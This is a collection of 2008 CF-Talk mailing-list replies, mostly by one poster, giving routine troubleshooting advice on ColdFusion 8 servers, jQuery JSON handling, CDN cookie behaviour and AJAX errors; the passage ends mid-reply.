Re: ColdFusion Consultant as a Java Consultant?
The person who is deciding on the platform will usually have their own biases. It's very difficult to persuade people to go away from their own favorite platform, but it is possible if you can make a case based on saving a lot of money on development costs, while also mitigating the perceived negatives of ColdFusion. -- Josh - Original Message - From: "Dakota Burns" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Thursday, September 25, 2008 11:55 AM Subject: Re: ColdFusion Consultant as a Java Consultant? > Wow ... thanks for the enlightenment Dave. I know CF programs aren't > "written" in Java, but they can be run on J2EE servers, where other > previously programmed Java/JSP apps may be running. > Perhaps a better question would have been to ask whether any of you CF > Pros > have persuaded someone looking to build their new web app with JSP on a > J2EE > server ... to instead use ColdFusion ... either as a deployable container > ala "Railo", or Adobe CF8 Enterprise. > ~ Dakota > > On Thu, Sep 25, 2008 at 1:38 PM, Dave Watts <[EMAIL PROTECTED]> wrote: > >> > For those of you CF developers >> > that deploy your apps to J2EE Servers >> > (or servlet containers, as is the case >> > with Tomcat), have you been successful >> > in situations where the employer >> > wanted a Java Developer, and after >> > talking to you with your CF skillset, >> > felt comfortable they were serving their >> > need for a Java Developer? >> >> If you can competently write programs in Java, you are a Java developer. >> CF >> programs are not written in Java. If anyone here can answer your >> question >> in the affirmative, the employer in question does not understand what >> Java >> development is. >> >> Dave Watts, CTO, Fig Leaf Software >> >> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;207172674;29440083;f Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:313086 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: / by zero error
Could you try hardcoding the CreateTimeSpan(0,2,0,0) into the cfapplication tag, and at least see if that works? -- Josh - Original Message - From: "Scott Taylor" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, September 23, 2008 10:17 AM Subject: Re: / by zero error >I should have put this in the OP. Both apps run on the same machine. The >code that works is only very slightly modified and has the same >cfapplication tag in it, and sets the variable ThisSessionTimeout exactly >the same way. > > Scott > >>Just reaching, but are the operating systems the same on both machines? >>The >>versions of Java? >> >>speeves >> >>On Tue, Sep 23, 2008 at 9:08 AM, Scott Taylor >><[EMAIL PROTECTED]>wrote: >> >>> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312970 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Totally inexplicable server crash
> How is your overall memory travelling? > > Was your server before 32, or 64 bit? > We were on 32 bit Linux before. Not sure what you mean by memory travelling - here are some stats from the server monitor: Total memory: 1.42 GB Used memory: 900 - 1100 MB (up and down when garbage collection occurs) Session scope: 1.175 MB Application scope: 304K Query cache: 20 MB JVM: min and max heap sizes set to 1.512 GB JVM arguments: -server -Dsun.io.useCanonCaches=false -XX:MaxPermSize=256m -XX:+UseParallelGC -Xbatch -Dcoldfusion.rootDir={application.home}/../ -Dcoldfusion.libPath={application.home}/../lib One thing I don't get - we used to use SeeFusion on our CF7 installation, and the memory in use fluctuated at around 20% all the time. It seems like now on CF8 we are consistently using 70-80% of the JVM allotment, but the application hasn't changed at all. When I look at the sawtooth pattern that is shown by the memory tracker, it consistently goes up to 1.1 GB used and then drops down to about 800 MB used when garbage collection occurs, but it never goes below 800 MB used. I guess I'm not sure what is using up 700 MB of memory when we've only got ~ 22 MB usage in the session/app scopes and cached queries. I know CF 8 has a bigger footprint, but that much bigger? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312802 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Totally inexplicable server crash
A little history: we moved our ecommerce site to a new CF8 installation a couple of months ago. Prior to that, we had been on CF7 and never had any problems. Everything went smoothly during the move. It's on Linux, 64-Bit CF dedicated box. We have two servers, one for the db (MySQL 5) and one for CF/Apache. We average about 1 to 3 requests per second, around 500 concurrent sessions and our Session and Application scopes are very light. Last Saturday, during a time of not too heavy traffic, CF apparently crashed and any CF requests were returned with an Apache 503 error "Request timed out." There was nothing in any of the logs to indicate any problems prior to the crash: no error messages, no indication of any odd or heavy traffic before CF went down. We restarted the server and everything seemed fine. Again this morning, same thing -- sudden crash and any CF requests returned with a 503 error. Again we restarted the server and everything seems fine again. We have been running the Server Monitor, and I've seen mixed messages as to whether that might be related to the problem. Some folks seem to say "don't run it in production", others say it's ok to do that. Anyway, I'm just fishing for any leads or suggestions as to what we might need to look for so we can nip this issue in the bud. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312792 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Are nested loops allowed in fusebox 5?
> I'm not sure I understand your question: > Fusebox is not a language, just a framework, and as such has no mean to > allow > loops or not. > Fusebox relies on the ColdFusion language, and yes, CF allows nested > loops. Fusebox 4 had its own xml-based syntax for flow control, I think this is what he's referring to. I'm not sure what the answer to the question is though. Check out fusebox.org, probably there's more information there. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312477 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: FTP GETFILE Read Timed Out Error
Maybe it took longer than 900 seconds? How big is the file? -- Josh - Original Message - From: "patrick buch" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, September 05, 2008 2:00 PM Subject: FTP GETFILE Read Timed Out Error > Hi everyone, > > I'm getting a timed out error when using cfftp action="GETFILE". I've > tried and done the following: > > 1). Set IIS website and FTP site timeout time to 900 seconds > 2). Used the attribute of timeout="900" in code shown below > 3). Added ?timeout='900' in the URL > 4). Tried adding timeout value on scheduled task and running that > > Any thoughts, directions, etc. would be greatly appreciated. > > * ERROR ** > An error occurred during the FTP GETFILE operation. > Error: Read timed out. > > * CODE ** > remotefile="\inetpub\wwwroot\jbs\#name#" > localfile="d:\saprepository\w1\#name#" failifexists="No" timeout="900" > stoponerror="yes"> > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312105 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Form slowness inexplicable
No slowness for me, IE6/WinXP/3-yr-old laptop. -- Josh - Original Message - From: "Rick Root" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, September 05, 2008 9:54 AM Subject: Form slowness inexplicable > Okay... I've had ONE user complain about the "slowness" of this form: > > http://www.it.dev.duke.edu/public/formtest.html > > The problem they're having is that when the resize the window or > scroll or move it, it's slow. Very slow. > > I don't have this problem. My coworker experiences the problem to a > lesser extent than the user, but he's got a super powerful machine > (more powerful than mine.. faster processor, more RAM, etc). > > The difference is that both he and the user are on laptops and I'm on a > desktop. > > I'm running IE7, Firefox 3, and Chrome and experience no problems. > > He's running IE6, Firefox 3, and Chrome.. only problem in IE6. He > upgraded to IE7 and still noticed the slowness. > > The user was also using IE but I'm not sure if it was 6 or 7. > > He says when he scrolls, it's spiking his CPU usage. > > Anyone got any ideas on this? > > -- > Rick Root > New Brian Vander Ark Album, songs in the music player and cool behind > the scenes video at www.myspace.com/brianvanderark > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:312091 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
>> Good guess, but no, I don't think permission is an issue. >> I can do all the extractions manually. Are you sure the user is the same when you are doing it manually, and when the script does it? When ColdFusion is running cfexecute, I think it sees "Coldfusion" as the user -- when you are doing it manually, it probably sees you as the user. I'm not an expert in this type of stuff, but whenever something isn't written to a folder as it should be, it's very often a permissions issue. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311956 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: How can I unzip a password-protected zip file with cfzip?
> It seems to be doing what it should, but the extracted files > aren't showing up in the destination folder... Just guessing but could it be something permission related, i.e. the perceived user that is doing the unzipping doesn't have write access to the destination folder? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311952 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: SQL injection attack on House of Fusion
> Not trying to pick a fight, becuase I am sure you have forgotten more code > than I will ever know (seriously) and I am probably just >being lazy > (seriously), but is something a lot of programmers really > use? I have never seen used on >any tags I have purchased > or exchanged and I am afraid all I know is what I have learned from books > and forums. This is the first I >have ever heard of using . It depends on what you mean by "a lot". But, if you'd been hanging out on this list at all, you'd have heard of cfqueryparam. It's discussed quite often. But, since most people learn ColdFusion on their own, and it's not a "necessary" tag to know about to get things done, you could go for years without using it or even understanding why it's needed. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311323 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: MIVA
Oh gosh, run fast in the other direction. The company I'm with now was using Miva when I got here (this was a couple of years ago). It is written in a proprietary language which is specific to Miva. So unless you want to learn that language, you'll be dependent on using modules written by third party developers. It might be better nowadays, but I remember feeling like I had both hands tied behind my back all the time. Luckily I got the powers that be here to switch to CF (after several months of cajoling). -- Josh - Original Message - From: "Steve Bryant" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, August 15, 2008 11:21 AM Subject: MIVA >I am planning some e-commerce work with a client of mine and they have read >about MIVA and they are very impressed by it. I have read a bit about it, >but I have to confess that I don't feel like I really understand what it is >or the advantage it offers. > > The site is currently using a third-party ColdFusion shopping cart. What > would the advantages/disadvantages be of switching to MIVA. Does anyone > have any experience with MIVA? > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311047 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Using jQuery to access the JSON that CF8 returns?
Your console.log output is showing a string. If you set the $.get parameter dataType='json' or use $.getJSON, it will make this into an object whose properties you can access. You should see an object in the console rather than a string. I just had this issue the other day. -- Josh - Original Message - From: "Andy Matthews" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Thursday, August 14, 2008 10:07 AM Subject: RE: Using jQuery to access the JSON that CF8 returns? > Nope... > > I'm specifying returnFormat: JSON as one of the parameters being sent to > the > CFC, but I can't seem to access the object coming back. It would appear > that > it's a generic object, but the instant I try to access any of the data > inside the return variable, I get errors, or undefined. > > -Original Message- > From: Josh Nathanson [mailto:[EMAIL PROTECTED] > Sent: Thursday, August 14, 2008 11:54 AM > To: CF-Talk > Subject: Re: Using jQuery to access the JSON that CF8 returns? > > The $.get method of jQuery should have the parameter "dataType: 'json'" or > you can use $.getJSON. I think in your code it would default to xml or > html > datatype returned so that might be the problem. > > -- Josh > > > - Original Message - > From: "Andy Matthews" <[EMAIL PROTECTED]> > To: "CF-Talk" > Sent: Thursday, August 14, 2008 9:39 AM > Subject: SOT: Using jQuery to access the JSON that CF8 returns? > > >> I'm using jQuery to make a direct CFC call, with the optional >> returnFormat > >> parameter. >> >> Here's the get call: >> >> $.get("coupons.cfc?method=getSingleCoupon", { >> couponid: couponid, >> siteid: siteid, >> returnFormat:'JSON' >> },function(d){ >> // alert(d['DATA'][0][0]); >> console.log(d); >> $container.css({ >> 'background-image': 'none' >> }); >> }); >> >> Here's the result when I log to the console: >> -- >> { >> "COLUMNS":["ID","TITLE"], >> "DATA":[ >> [4,"15% Off A Timing Belt Package"] >>] >> } >> >> So it's an object with an array named COLUMNS, and one named DATA. I >> should be able to reference the title like so: >> >> d['DATA'][0][1]; >> >> But when I do so in Firefox, using Firebug I get the error: >> >> d.DATA has no properties >> coupons.js >> Line 68 >> >> What am I doing wrong? >> >> > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311003 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Using jQuery to access the JSON that CF8 returns?
The $.get method of jQuery should have the parameter "dataType: 'json'" or you can use $.getJSON. I think in your code it would default to xml or html datatype returned so that might be the problem. -- Josh - Original Message - From: "Andy Matthews" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Thursday, August 14, 2008 9:39 AM Subject: SOT: Using jQuery to access the JSON that CF8 returns? > I'm using jQuery to make a direct CFC call, with the optional returnFormat > parameter. > > Here's the get call: > > $.get("coupons.cfc?method=getSingleCoupon", { > couponid: couponid, > siteid: siteid, > returnFormat:'JSON' > },function(d){ > // alert(d['DATA'][0][0]); > console.log(d); > $container.css({ > 'background-image': 'none' > }); > }); > > Here's the result when I log to the console: > -- > { > "COLUMNS":["ID","TITLE"], > "DATA":[ > [4,"15% Off A Timing Belt Package"] >] > } > > So it's an object with an array named COLUMNS, and one named DATA. I > should be able to reference the title like so: > > d['DATA'][0][1]; > > But when I do so in Firefox, using Firebug I get the error: > > d.DATA has no properties > coupons.js > Line 68 > > What am I doing wrong? > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310998 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Using CFLoop to Define Variables
Try putting quotes around your variable: -- Josh - Original Message - From: "Jeanmarie Richardson" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, August 11, 2008 10:23 AM Subject: Using CFLoop to Define Variables > Hello -- I am not sure if I am approaching this correctly BUT I have a > list of 22 possible items where only 5 can be selected. I then need to > assign these five items to a list of variables - SC1, SC2, SC3, SC4, SC5. > I am trying to use CFSet within a CFLOOP tag (which loops through the > list) to set up these variables but it is failing. Could somone point me > in the right direction? Below is the CFLoop code I have been using. > > > > > > > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310744 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: CDN and Cookies
Mike, I did a test run about an hour ago. The cookies were handled fine, so I assume the CDN provider has their proxy servers set up to handle this, as you say. On the other hand, I found out they do not accept https requests. I had taken this to mean they would pass through https requests to the origin server for handling; however, the request simply is halted entirely and the page times out after a long wait. Not exactly a robust solution. So, a little rearchitecting on my part will be needed to account for that. FWIW, the company is called Velocix. They have a free CDN solution for up to 500GB of traffic per month. -- Josh - Original Message - From: "Mike Chabot" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, August 06, 2008 3:50 PM Subject: Re: CDN and Cookies > Josh, > I think this would depend on how the proxy server is set up to > communicate with the origin server and whether or not it modifies > cookies. Proxy servers can do anything they are programmed to do, so I > would call up the company to get this information on how cookies are > handled. If the CDN provider is established and experienced, I would > assume that they have programmed their proxy servers to handle the > cookie issues seamlessly, which would mean that a cookie set for > www.mysite.com would be modified and sent to origin.mysite.com in a > way that origin.mysite.com could read it without any security issues. > Clearly I'm speculating here. My experience with these CDNs mainly > comes from caching static files like images or JavaScript files, which > don't have any cookie issues. Someone else on this list might have > more experience with this reverse proxy setup. > > Good luck, > Mike Chabot > > On Wed, Aug 6, 2008 at 5:22 PM, Josh Nathanson <[EMAIL PROTECTED]> > wrote: >> Mike, >> >> All the requests will be going through www.mysite.com and intercepted by >> the >> CDN via a cname directive. There are no requests from the end user to >> origin.mysite.com. The CDN then decides, based on the expires header, >> whether to go get fresh content from origin.mysite.com. It's called >> "reverse proxy acquisition". So, only cookies from www.mysite.com will >> be >> sent in the request, not cookies from origin.mysite.com. >> >> The dns will look like this: >> www.mysite.com CNAME www.CDNsite.com >> origin.mysite.com CNAME mysite.com >> >> As you say, only images and videos will be cached on the CDN, and all >> dynamic content will be fetched by the CDN from origin.mysite.com (no >> dynamic requests are cached). origin.mysite.com is where the sessions >> will >> be living as well. >> >> My question is, given that scenario, if I start a session on the site and >> then open up the cookies panel in Firefox, will the cookie folder say >> www.mysite.com or origin.mysite.com? >> >> There is no information on their site as regards sessions. >> >> Thanks for your help. >> >> -- Josh >> >> >> - Original Message - >> From: "Mike Chabot" <[EMAIL PROTECTED]> >> To: "CF-Talk" >> Sent: Wednesday, August 06, 2008 1:42 PM >> Subject: Re: CDN and Cookies >> >> >>> Josh, >>> Your belief might not be correct, although it can depend on what >>> content you are serving, how that CDN is set up, and how your sessions >>> are set up. >>> >>> If a session is established on Server A, then activities on Server B >>> generally won't impact Server A. If you are only serving cached >>> content or images on Server B, then I doubt Server B benefits from >>> session variables at all. Even with domain cookies set, activities on >>> Server B won't prolong the Server A session since the session is >>> maintained on the server, not in the cookie. Setting domain cookies >>> would potentially be a mistake, since you would be adding overhead >>> with no benefit. >>> >>> If a.site.com has all your dynamic content and sessions while >>> b.site.com has all your images, the Web browser can not only load the >>> site faster because this gets around the HTTP simultaneous connection >>> limits, but it is also faster because you don't have to send pointless >>> cookie information to b.site.com with every image request. So for many >>> people looking to optimize network traffic, the goal is to avoid >>> sending cookies to all the servers. >>> >>> The main uncertainty is what type of CDN you are using. Most often >>> these are used to
Re: CDN and Cookies
Mike, All the requests will be going through www.mysite.com and intercepted by the CDN via a cname directive. There are no requests from the end user to origin.mysite.com. The CDN then decides, based on the expires header, whether to go get fresh content from origin.mysite.com. It's called "reverse proxy acquisition". So, only cookies from www.mysite.com will be sent in the request, not cookies from origin.mysite.com. The dns will look like this: www.mysite.com CNAME www.CDNsite.com origin.mysite.com CNAME mysite.com As you say, only images and videos will be cached on the CDN, and all dynamic content will be fetched by the CDN from origin.mysite.com (no dynamic requests are cached). origin.mysite.com is where the sessions will be living as well. My question is, given that scenario, if I start a session on the site and then open up the cookies panel in Firefox, will the cookie folder say www.mysite.com or origin.mysite.com? There is no information on their site as regards sessions. Thanks for your help. -- Josh - Original Message - From: "Mike Chabot" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, August 06, 2008 1:42 PM Subject: Re: CDN and Cookies > Josh, > Your belief might not be correct, although it can depend on what > content you are serving, how that CDN is set up, and how your sessions > are set up. > > If a session is established on Server A, then activities on Server B > generally won't impact Server A. If you are only serving cached > content or images on Server B, then I doubt Server B benefits from > session variables at all. Even with domain cookies set, activities on > Server B won't prolong the Server A session since the session is > maintained on the server, not in the cookie. Setting domain cookies > would potentially be a mistake, since you would be adding overhead > with no benefit. > > If a.site.com has all your dynamic content and sessions while > b.site.com has all your images, the Web browser can not only load the > site faster because this gets around the HTTP simultaneous connection > limits, but it is also faster because you don't have to send pointless > cookie information to b.site.com with every image request. So for many > people looking to optimize network traffic, the goal is to avoid > sending cookies to all the servers. > > The main uncertainty is what type of CDN you are using. Most often > these are used to help deliver static Web content or files, as opposed > to dynamic Web site content. > > I would expect that your CDN provider has a FAQ or technical guide > that discusses how to handle session variables if you are serving > dynamic content. That is where I would look for this information. > > For your second question, I would assume the answer is "no," but I > would certainly test this if it is a concern for you. > > -Mike Chabot ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310314 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
CDN and Cookies
Hello, We are set to start using a Content Delivery Network shortly. For those not familiar, the idea is that when someone requests www.mysite.com, the CDN intercepts that request, and either sends back cached content if it has it, or goes to origin.mysite.com to retrieve fresh content. Because of this, I believe I need to set setDomainCookies=true in Application.cfc so that the sessions are maintained whether the request is from origin.mysite.com or www.mysite.com. 1) Is this correct? I mean when the CDN sends the request to origin.mysite.com for fresh content, CF will try to set cookies for origin.mysite.com, yes? 2) If I do this change to setDomainCookies=true, will it kill all the current sessions on the server? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310305 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: How do I extract Error Information from Structure?
Here is a little function I use to send myself error messages - arguments.exc is the exception structure that the onError method receives - I pass it through to an Error.cfc. Error Report: #DateFormat(Now(),"long")#, #TimeFormat(Now(),"long")# #arguments.exc.message# The error occurred in #arguments.exc.TagContext[1].template# #arguments.exc.detail# #arguments.exc.TagContext[i].Template#, Line #arguments.exc.TagContext[i].Line# -- Josh - Original Message - From: "Michael Brennan-White" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Thursday, July 31, 2008 1:17 PM Subject: How do I extract Error Information from Structure? > My error function sends me error information through email. In addition I > would like to place this information into a database table to track the > number of times the error happens and indicate when the error is resolved. > > Error (struct) > - TagContext (struct) > - error (array) > -Error (struct) > column > line > template > > For expression type errors, there is a structure named tagcontext which > has an array named error which has a structure named error. The column, > line and template values are what I am trying to insert into the database > (among other fields). How would I access these items? > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:310033 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: I need help with a PHP question - off line i guess
> It's Off-Topic for this list, so I guess off line would be better to > handle this, but i have a hosting client who's using PHP on my server, > adn is complaining that its running slow. He says the reason his CMS > is running slowly is because the site is on a windows box, and PHP is > not normally recommended on Windows OS. What CMS is it, something homebrewed? It could be that the database is not set up properly. One poorly indexed table or badly written query can slow everything down, no matter the language or server OS. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309893 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Unknown JS error when doing AJAX.
Your bracketing looks fine. Don't you have to do some kind of Active-X thingamabob for IE's xmlHttp implementation, or do you have that in another part of the code? Also, did you console.log the final url content to make sure it's what you're expecting? Finally, I don't think it's strictly required that you have a semicolon after the below line of code but I'd put one there anyway, just to make sure that's not the problem. xmlHttp.onreadystatechange= function() { document.getElementById("character").innerHTML=xmlHttp.responseText; }; <== semicolon there - Original Message - From: "Phillip M. Vector" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, July 28, 2008 4:35 PM Subject: Re: Unknown JS error when doing AJAX. > No. I didn't post the whole code. Trying to cut down on extra code.. > > function updatestats() > { > xmlHttp=GetXmlHttpObject(); > > var url="#myself#AJAX.ShowCharacter"; > url=url+"&House="+document.getElementById("House").value; > url=url+"&Genre="+document.getElementById("Genre").value; > Traits="Strength,Fury,Agility,Sleight,Willpower,Intelligence,Perception,Wits,Manipulation,Charisma,Appearance,JenaSeQua,Life,Luck"> > > url=url+"&#trait#="+document.getElementById("#trait#").value; > > > > xmlHttp.open("GET",url,true); > xmlHttp.send(null); > xmlHttp.onreadystatechange= > function() > { > document.getElementById("character").innerHTML=xmlHttp.responseText; > } > } > > I tried changing it to > xmlHttp.onreadystatechange= > function() > { > document.getElementById("character").innerHTML=xmlHttp.responseText}; > } > > But that didn't seem to help. > > > Josh Nathanson wrote: > >> I don't know if you posted the entire code there, but if so, the second >> close curly bracket should be a semicolon. >> >> xmlHttp.onreadystatechange= >> function() >> { >> document.getElementById("character").innerHTML=xmlHttp.responseText; >> } >> } <== make that a semicolon >> >> -- Josh >> >> >> - Original Message - >> From: "Phillip M. Vector" <[EMAIL PROTECTED]> >> To: "CF-Talk" >> Sent: Monday, July 28, 2008 3:32 PM >> Subject: Unknown JS error when doing AJAX. >> >> >>> I'm setting up a AJAX JS which updates a field on the form that is >>> called "character" as Stuff >>> >>> When this function is run, it submits ok, but I get an "Unknown runtime >>> Error" in the area of "{document.". The thing is, I thought Firefox was >>> more solid on JS and it runs perfectly on that. But I do it in IE and it >>> bombs. >>> >>> Any ideas what I'm missing? >>> >>> xmlHttp.onreadystatechange= >>> function() >>> { >>> document.getElementById("character").innerHTML=xmlHttp.responseText; >>> } >>> } >>> >>> >> >> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309839 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Unknown JS error when doing AJAX.
I don't know if you posted the entire code there, but if so, the second close curly bracket should be a semicolon. xmlHttp.onreadystatechange= function() { document.getElementById("character").innerHTML=xmlHttp.responseText; } } <== make that a semicolon -- Josh - Original Message - From: "Phillip M. Vector" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, July 28, 2008 3:32 PM Subject: Unknown JS error when doing AJAX. > I'm setting up a AJAX JS which updates a field on the form that is > called "character" as Stuff > > When this function is run, it submits ok, but I get an "Unknown runtime > Error" in the area of "{document.". The thing is, I thought Firefox was > more solid on JS and it runs perfectly on that. But I do it in IE and it > bombs. > > Any ideas what I'm missing? > > xmlHttp.onreadystatechange= > function() > { > document.getElementById("character").innerHTML=xmlHttp.responseText; > } > } > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309836 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: jsmx and progress bar
Richard, it sounds like you might be able to implement the process I mentioned. If you were able to determine a "baseline" processing time for a simple data set, you could use this to estimate the amount of time it would take for more complex data sets. You'd have to do a lot of testing to see how long different scenarios would take, and which things had what effect on the processing time. For example, if a certain variable exists it might take 10X as long as it would if that variable didn't exist. If you have a very complex processing task with many variables, this will be somewhat difficult...however, I think this would be your only option, as there isn't really a way (that I know of anyway) to pass back progress information from the server. Maybe you could try or something but I don't know if that could be captured by javascript, or what that would entail. And remember, even an estimated completion time is better than nothing at all, from the user's perspective. - Original Message - From: "Richard White" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, July 28, 2008 12:25 PM Subject: Re: jsmx and progress bar > Hi Josh > > we are doing something very complex actually that has so many different > things that could effect the time it takes. > > jsmx only passes back information when it is done but if we could get it > to pass back at various stages in the cycle then it would be perfect > > we are generating a spreadsheet with data but the data needs to be > processed and formatted with sql and cf and based on many many different > scenarios. > > currently the user selects to generate a spreadsheet and it says > 'generating spreadsheet...' but if they have selected a large amount of > data then it could take some time so we need to provide them with feedback > on the progress > > this is the issue we have right now > > thanks > > > >>What sort of thing are you doing on the server exactly? >> >>I don't 